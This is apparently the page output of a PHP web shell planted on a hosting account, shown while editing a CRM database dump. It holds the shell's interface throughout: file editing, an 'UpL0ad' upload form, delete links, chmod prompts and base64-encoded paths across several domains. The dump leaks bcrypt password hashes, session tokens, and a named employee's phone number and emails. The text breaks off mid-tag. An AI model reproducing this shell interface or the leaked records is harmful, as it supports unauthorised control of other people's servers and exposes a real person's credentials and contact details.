1crm_db (2).sql<form method=post action="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Y3JtX2RiICgyKS5zcWw%3D"><input name="f" value="crm_db (2).sql"><textarea name="t">-- phpMyAdmin SQL Dump
-- version 5.2.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Jan 07, 2025 at 01:55 PM
-- Server version: 10.4.28-MariaDB
-- PHP Version: 8.0.28

SET SQL_MODE = &quot;NO_AUTO_VALUE_ON_ZERO&quot;;
START TRANSACTION;
SET time_zone = &quot;+00:00&quot;;


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `crm_db`
--

-- --------------------------------------------------------

--
-- Table structure for table `tbl_branch`
--

CREATE TABLE `tbl_branch` (
  `id` int(11) NOT NULL,
  `branch_nm` varchar(250) NOT NULL,
  `deletestatus` int(1) NOT NULL DEFAULT 0,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_branch`
--

INSERT INTO `tbl_branch` (`id`, `branch_nm`, `deletestatus`, `updated_at`) VALUES
(1, 'demo', 1, '2025-01-01 02:14:31'),
(2, 'demo ss', 1, '2025-01-02 00:57:30'),
(3, 'Ahmedabad', 0, '2025-01-02 06:27:36'),
(4, 'Mehsana', 0, '2025-01-02 06:27:41'),
(5, 'Kadi', 0, '2025-01-02 06:27:46');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_call_history`
--

CREATE TABLE `tbl_call_history` (
  `id` int(11) NOT NULL,
  `call_type_id` int(11) NOT NULL,
  `call_for` varchar(250) NOT NULL,
  `project_id` int(11) NOT NULL,
  `person_nm` varchar(250) NOT NULL,
  `time` varchar(250) NOT NULL,
  `description` text NOT NULL,
  `user_id` int(11) NOT NULL,
  `date` date NOT NULL,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_call_history`
--

INSERT INTO `tbl_call_history` (`id`, `call_type_id`, `call_for`, `project_id`, `person_nm`, `time`, `description`, `user_id`, `date`, `updated_at`) VALUES
(2, 2, 'Requirement', 1, 'Dem', '12', 'Demo', 9, '2025-01-07', '2025-01-07 10:11:28'),
(3, 4, 'Project', 1, 'Jeel', '121', 'Lorem', 9, '2025-01-07', '2025-01-07 12:31:17');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_call_type`
--

CREATE TABLE `tbl_call_type` (
  `id` int(11) NOT NULL,
  `call_type_nm` varchar(250) NOT NULL,
  `deletestatus` int(1) NOT NULL DEFAULT 0,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_call_type`
--

INSERT INTO `tbl_call_type` (`id`, `call_type_nm`, `deletestatus`, `updated_at`) VALUES
(1, 'Demo', 1, '2025-01-01 04:22:29'),
(2, 'Slack', 0, '2025-01-07 09:45:21'),
(3, 'Skype', 0, '2025-01-07 09:45:27'),
(4, 'Anydesk', 0, '2025-01-07 09:45:32'),
(5, 'Whatsaap', 0, '2025-01-07 09:45:38'),
(6, 'Normal Call', 0, '2025-01-07 09:45:46');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_daily_activity`
--

CREATE TABLE `tbl_daily_activity` (
  `id` int(11) NOT NULL,
  `user_id` int(11) NOT NULL,
  `date` date NOT NULL,
  `login_time` time NOT NULL,
  `break_in_time` time NOT NULL,
  `break_out_time` time NOT NULL,
  `logout_time` time NOT NULL,
  `total_working_hours` varchar(250) NOT NULL,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_daily_activity`
--

INSERT INTO `tbl_daily_activity` (`id`, `user_id`, `date`, `login_time`, `break_in_time`, `break_out_time`, `logout_time`, `total_working_hours`, `updated_at`) VALUES
(1, 1, '2025-01-04', '15:52:27', '15:52:59', '15:53:07', '15:53:17', '00:00:41', '2025-01-04 04:53:17'),
(2, 8, '2025-01-04', '15:56:51', '00:00:00', '00:00:00', '00:00:00', '00:00:00', '2025-01-04 10:26:52'),
(3, 1, '2025-01-06', '14:43:11', '00:00:00', '00:00:00', '00:00:00', '00:00:00', '2025-01-06 09:13:11');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_eod_report`
--

CREATE TABLE `tbl_eod_report` (
  `id` int(11) NOT NULL,
  `work_log_id` int(11) NOT NULL,
  `project_id` int(11) DEFAULT NULL,
  `scope_id` int(11) DEFAULT NULL,
  `technology_id` int(11) DEFAULT NULL,
  `work_on` varchar(11) DEFAULT NULL,
  `work_hours` int(11) DEFAULT NULL,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_eod_report`
--

INSERT INTO `tbl_eod_report` (`id`, `work_log_id`, `project_id`, `scope_id`, `technology_id`, `work_on`, `work_hours`, `updated_at`) VALUES
(1, 1, 1, 1, 3, 'C', 8, '2025-01-07 07:22:18'),
(2, 2, 1, NULL, 3, NULL, 4, '2025-01-07 07:57:41'),
(3, 2, 2, NULL, 3, NULL, 4, '2025-01-07 07:57:41');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_eod_work_log`
--

CREATE TABLE `tbl_eod_work_log` (
  `id` int(11) NOT NULL,
  `report_desc` text DEFAULT NULL,
  `date` date DEFAULT NULL,
  `user_id` int(11) NOT NULL,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_eod_work_log`
--

INSERT INTO `tbl_eod_work_log` (`id`, `report_desc`, `date`, `user_id`, `updated_at`) VALUES
(1, '&lt;p&gt;Today Work -:&lt;br&gt;1. Working on edit daily activity functionality in which calculate total working hours as per login time, break in time , break out time and logout time.&lt;br&gt;&amp;nbsp;&lt;/p&gt;', '2025-01-02', 2, '2025-01-07 07:22:18'),
(2, '&lt;p&gt;Today Work -:&lt;br&gt;1. Working on edit daily activity functionality in which calculate total working hours as per login time, break in time , break out time and logout time.&lt;br&gt;&amp;nbsp;&lt;/p&gt;', '2025-01-07', 9, '2025-01-07 07:57:41');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_holiday`
--

CREATE TABLE `tbl_holiday` (
  `id` int(11) NOT NULL,
  `date` date NOT NULL,
  `day_type` varchar(250) NOT NULL,
  `reason` text NOT NULL,
  `deleteStatus` int(11) NOT NULL DEFAULT 0,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_holiday`
--

INSERT INTO `tbl_holiday` (`id`, `date`, `day_type`, `reason`, `deleteStatus`, `updated_at`) VALUES
(1, '2025-01-01', 'HD', 'New year ss', 1, '2025-01-01 02:04:05');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_leave_request`
--

CREATE TABLE `tbl_leave_request` (
  `id` int(11) NOT NULL,
  `leave_type_id` int(11) NOT NULL,
  `start_dt` date NOT NULL,
  `end_dt` date NOT NULL,
  `day` varchar(250) NOT NULL,
  `reason` text NOT NULL,
  `user_id` int(11) NOT NULL,
  `status` int(11) DEFAULT 0 COMMENT '1:Approve 0:Pending 2:Reject',
  `deletestatus` int(11) DEFAULT 0,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_leave_request`
--

INSERT INTO `tbl_leave_request` (`id`, `leave_type_id`, `start_dt`, `end_dt`, `day`, `reason`, `user_id`, `status`, `deletestatus`, `updated_at`) VALUES
(1, 1, '2025-01-07', '2025-01-07', '0.5', 'Fiver', 9, 1, 0, '2025-01-07 06:57:49'),
(2, 2, '2025-01-10', '2025-01-15', '6', 'Go to Tour', 9, 0, 0, '2025-01-07 12:18:54'),
(3, 2, '2025-01-18', '2025-01-31', '14', 'Go to home', 9, 0, 0, '2025-01-07 12:29:54');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_leave_type`
--

CREATE TABLE `tbl_leave_type` (
  `id` int(11) NOT NULL,
  `leave_type_nm` varchar(250) NOT NULL,
  `deletestatus` int(1) NOT NULL DEFAULT 0,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_leave_type`
--

INSERT INTO `tbl_leave_type` (`id`, `leave_type_nm`, `deletestatus`, `updated_at`) VALUES
(1, 'Half Day', 0, '2025-01-01 04:11:18'),
(2, 'Full Day', 0, '2025-01-01 09:41:25'),
(3, 'dfewer', 1, '2025-01-01 04:11:42'),
(4, 'dddd', 1, '2025-01-01 04:22:46');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_personal_details`
--

CREATE TABLE `tbl_personal_details` (
  `id` int(11) NOT NULL,
  `title` varchar(250) NOT NULL,
  `description` text NOT NULL,
  `deletestatus` int(1) NOT NULL DEFAULT 0,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_personal_details`
--

INSERT INTO `tbl_personal_details` (`id`, `title`, `description`, `deletestatus`, `updated_at`) VALUES
(1, 'Demo', '&lt;p&gt;Demo&lt;/p&gt;', 1, '2025-01-01 23:53:15'),
(2, 'Demo', '&lt;p&gt;Demo&lt;/p&gt;', 0, '2025-01-02 05:23:20');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_project`
--

CREATE TABLE `tbl_project` (
  `id` int(11) NOT NULL,
  `project_no` varchar(250) NOT NULL,
  `project_nm` varchar(250) NOT NULL,
  `start_dt` date DEFAULT NULL,
  `assign_to` varchar(250) DEFAULT NULL,
  `visibile` varchar(250) DEFAULT NULL,
  `description` text DEFAULT NULL,
  `logo1` varchar(250) DEFAULT NULL,
  `logo2` varchar(250) DEFAULT NULL,
  `deadline_time` varchar(250) NOT NULL,
  `added_by` int(11) NOT NULL,
  `deletestatus` int(1) NOT NULL DEFAULT 0,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_project`
--

INSERT INTO `tbl_project` (`id`, `project_no`, `project_nm`, `start_dt`, `assign_to`, `visibile`, `description`, `logo1`, `logo2`, `deadline_time`, `added_by`, `deletestatus`, `updated_at`) VALUES
(1, '1', 'I Vision CRM', '2025-01-01', '9', NULL, '&lt;p&gt;Demo&lt;/p&gt;', '670_20250106101950.png', '619_20250106101950.png', '4-126,3-120,5-12', 1, 0, '2025-01-07 00:32:18'),
(2, '2', 'Junior Guru Exam', '2025-01-07', '9', NULL, '&lt;p&gt;Demo&lt;/p&gt;', '937_20250107075626.png', '258_20250107075626.png', '3-190', 1, 0, '2025-01-07 02:27:03');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_scope`
--

CREATE TABLE `tbl_scope` (
  `scope_id` int(11) NOT NULL,
  `project_id` int(11) NOT NULL,
  `scope_nm` varchar(250) NOT NULL,
  `start_dt` date DEFAULT NULL,
  `assign_to` varchar(250) DEFAULT NULL,
  `visibile` varchar(250) DEFAULT NULL,
  `description` text DEFAULT NULL,
  `logo1` varchar(250) DEFAULT NULL,
  `logo2` varchar(250) DEFAULT NULL,
  `deadline_time` varchar(250) DEFAULT NULL,
  `added_by` int(11) NOT NULL,
  `deletestatus` int(1) NOT NULL DEFAULT 0,
  `status` int(1) NOT NULL DEFAULT 0,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_scope`
--

INSERT INTO `tbl_scope` (`scope_id`, `project_id`, `scope_nm`, `start_dt`, `assign_to`, `visibile`, `description`, `logo1`, `logo2`, `deadline_time`, `added_by`, `deletestatus`, `status`, `updated_at`) VALUES
(1, 1, 'Super Admin', '2025-01-17', '9', '9', '&lt;p&gt;Demo&lt;/p&gt;', '951_20250106105034.png', '275_20250106105034.png', '3-170', 1, 0, 0, '2025-01-06 10:50:34');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_technology`
--

CREATE TABLE `tbl_technology` (
  `id` int(11) NOT NULL,
  `technology` varchar(250) NOT NULL,
  `status` int(1) NOT NULL DEFAULT 1,
  `deleteStatus` int(1) NOT NULL DEFAULT 0,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_technology`
--

INSERT INTO `tbl_technology` (`id`, `technology`, `status`, `deleteStatus`, `updated_at`) VALUES
(1, 'ass ff', 1, 1, '2025-01-01 01:25:20'),
(2, 'php', 1, 0, '2025-01-02 10:10:22'),
(3, 'Laravel', 1, 0, '2025-01-02 10:10:27'),
(4, 'Flutter', 1, 0, '2025-01-02 10:10:31'),
(5, 'HTML', 1, 0, '2025-01-03 04:42:15');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_user`
--

CREATE TABLE `tbl_user` (
  `user_id` int(11) NOT NULL,
  `emp_code` varchar(250) DEFAULT NULL,
  `name` varchar(250) DEFAULT NULL,
  `username` varchar(250) DEFAULT NULL,
  `password` varchar(250) DEFAULT NULL,
  `staff_contact_no` varchar(250) DEFAULT NULL,
  `personal_email` varchar(250) DEFAULT NULL,
  `office_email` varchar(250) DEFAULT NULL,
  `visible_project` varchar(250) DEFAULT NULL,
  `parents_contact_1` varchar(250) DEFAULT NULL,
  `parents_contact_2` varchar(250) DEFAULT NULL,
  `gmail_id` varchar(250) DEFAULT NULL,
  `gmail_psw` varchar(250) DEFAULT NULL,
  `skype_id` varchar(250) DEFAULT NULL,
  `skype_psw` varchar(250) DEFAULT NULL,
  `slack_id` varchar(250) DEFAULT NULL,
  `slack_psw` varchar(250) DEFAULT NULL,
  `staff_branch` varchar(250) DEFAULT NULL,
  `staff_report` varchar(250) DEFAULT NULL,
  `user_sts` varchar(250) DEFAULT NULL,
  `profile_img` varchar(250) DEFAULT NULL,
  `user_type` varchar(250) DEFAULT NULL,
  `current_login` varchar(250) DEFAULT NULL,
  `status` int(1) NOT NULL DEFAULT 1,
  `deletestatus` int(1) NOT NULL DEFAULT 0,
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `tbl_user`
--

INSERT INTO `tbl_user` (`user_id`, `emp_code`, `name`, `username`, `password`, `staff_contact_no`, `personal_email`, `office_email`, `visible_project`, `parents_contact_1`, `parents_contact_2`, `gmail_id`, `gmail_psw`, `skype_id`, `skype_psw`, `slack_id`, `slack_psw`, `staff_branch`, `staff_report`, `user_sts`, `profile_img`, `user_type`, `current_login`, `status`, `deletestatus`, `updated_at`) VALUES
(1, 'AD001', 'Admin', 'admin', '$2y$10$OlssmJqzXuvKSy8lXLUx3.XFqDatMRVlKfw/6YbwshVTlZUJTdh8e', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '', '', '', '', '', '', NULL, NULL, 'ADMIN', 'LOCplKf7sIee3Av7yFospZn5Ro4ypj', 1, 0, '2025-01-07 06:34:29'),
(9, 'EMP01', 'Mukesh Suthar', '7296930519', '$2y$10$OlssmJqzXuvKSy8lXLUx3.XFqDatMRVlKfw/6YbwshVTlZUJTdh8e', '7296930519', 'mukeshsthr690@gmail.com', 'ivmukeshahm@gmail.com', '1', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '3', 'N', NULL, NULL, 'STAFF', 'YGp7jK5biESDyUXfzl0iKtRdWPnMZQ', 1, 0, '2025-01-07 06:48:27');

--
-- Indexes for dumped tables
--

--
-- Indexes for table `tbl_branch`
--
ALTER TABLE `tbl_branch`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_call_history`
--
ALTER TABLE `tbl_call_history`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_call_type`
--
ALTER TABLE `tbl_call_type`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_daily_activity`
--
ALTER TABLE `tbl_daily_activity`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_eod_report`
--
ALTER TABLE `tbl_eod_report`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_eod_work_log`
--
ALTER TABLE `tbl_eod_work_log`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_holiday`
--
ALTER TABLE `tbl_holiday`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_leave_request`
--
ALTER TABLE `tbl_leave_request`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_leave_type`
--
ALTER TABLE `tbl_leave_type`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_personal_details`
--
ALTER TABLE `tbl_personal_details`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_project`
--
ALTER TABLE `tbl_project`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_scope`
--
ALTER TABLE `tbl_scope`
  ADD PRIMARY KEY (`scope_id`);

--
-- Indexes for table `tbl_technology`
--
ALTER TABLE `tbl_technology`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_user`
--
ALTER TABLE `tbl_user`
  ADD PRIMARY KEY (`user_id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `tbl_branch`
--
ALTER TABLE `tbl_branch`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;

--
-- AUTO_INCREMENT for table `tbl_call_history`
--
ALTER TABLE `tbl_call_history`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;

--
-- AUTO_INCREMENT for table `tbl_call_type`
--
ALTER TABLE `tbl_call_type`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7;

--
-- AUTO_INCREMENT for table `tbl_daily_activity`
--
ALTER TABLE `tbl_daily_activity`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;

--
-- AUTO_INCREMENT for table `tbl_eod_report`
--
ALTER TABLE `tbl_eod_report`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;

--
-- AUTO_INCREMENT for table `tbl_eod_work_log`
--
ALTER TABLE `tbl_eod_work_log`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;

--
-- AUTO_INCREMENT for table `tbl_holiday`
--
ALTER TABLE `tbl_holiday`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `tbl_leave_request`
--
ALTER TABLE `tbl_leave_request`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;

--
-- AUTO_INCREMENT for table `tbl_leave_type`
--
ALTER TABLE `tbl_leave_type`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;

--
-- AUTO_INCREMENT for table `tbl_personal_details`
--
ALTER TABLE `tbl_personal_details`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;

--
-- AUTO_INCREMENT for table `tbl_project`
--
ALTER TABLE `tbl_project`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;

--
-- AUTO_INCREMENT for table `tbl_scope`
--
ALTER TABLE `tbl_scope`
  MODIFY `scope_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `tbl_technology`
--
ALTER TABLE `tbl_technology`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;

--
-- AUTO_INCREMENT for table `tbl_user`
--
ALTER TABLE `tbl_user`
  MODIFY `user_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL2NyZWF0aXZlZ2FyZGVuZGVzaWduLmluL3B1YmxpY19odG1s">/home/u856302147/domains/creativegardendesign.in/public_html</a><hr>curdir: /home/u856302147/domains/vparking.live/public_html/crm<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWw="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&x=LmVkaXRvcmNvbmZpZw==">X</a></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=LmVkaXRvcmNvbmZpZw=="/>.editorconfig</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=LmVkaXRvcmNvbmZpZw==&c=`+btoa(c):0" value="0666"></td><td>258</td></tr><tr><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&x=LmdpdGF0dHJpYnV0ZXM=">X</a></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=LmdpdGF0dHJpYnV0ZXM="/>.gitattributes</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=LmdpdGF0dHJpYnV0ZXM=&c=`+btoa(c):0" value="0666"></td><td>179</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL0M6XHhhbXBwXGh0ZG9jc1xpdmNybS1sYXJhdmVsXHN0b3JhZ2VcZnJhbWV3b3JrXHZpZXdz"/>C:\xampp\htdocs\ivcrm-laravel\storage\framework\views</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=QzpceGFtcHBcaHRkb2NzXGl2Y3JtLWxhcmF2ZWxcc3RvcmFnZVxmcmFtZXdvcmtcdmlld3M=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL0M6XHhhbXBwXGh0ZG9jc1xpdmNybS1sYXJhdmVsXHN0b3JhZ2VcbG9ncw=="/>C:\xampp\htdocs\ivcrm-laravel\storage\logs</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=QzpceGFtcHBcaHRkb2NzXGl2Y3JtLWxhcmF2ZWxcc3RvcmFnZVxsb2dz&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL0Nf"/>C_</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Q18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL2FwcA=="/>app</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=YXBw&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL2Jvb3RzdHJhcA=="/>bootstrap</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Ym9vdHN0cmFw&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&x=Y29tcG9zZXIuanNvbg==">X</a></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Y29tcG9zZXIuanNvbg=="/>composer.json</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Y29tcG9zZXIuanNvbg==&c=`+btoa(c):0" value="0666"></td><td>1817</td></tr><tr><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&x=Y29tcG9zZXIubG9jaw==">X</a></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Y29tcG9zZXIubG9jaw=="/>composer.lock</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Y29tcG9zZXIubG9jaw==&c=`+btoa(c):0" value="0666"></td><td>301672</td></tr><tr><td></td><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3JtL2NvbmZpZw=="/>config</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&f=Y29uZmln&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvY3Jt&x=Y3JtX2RiICgyKS5zcWw=">X</a></td><td><a 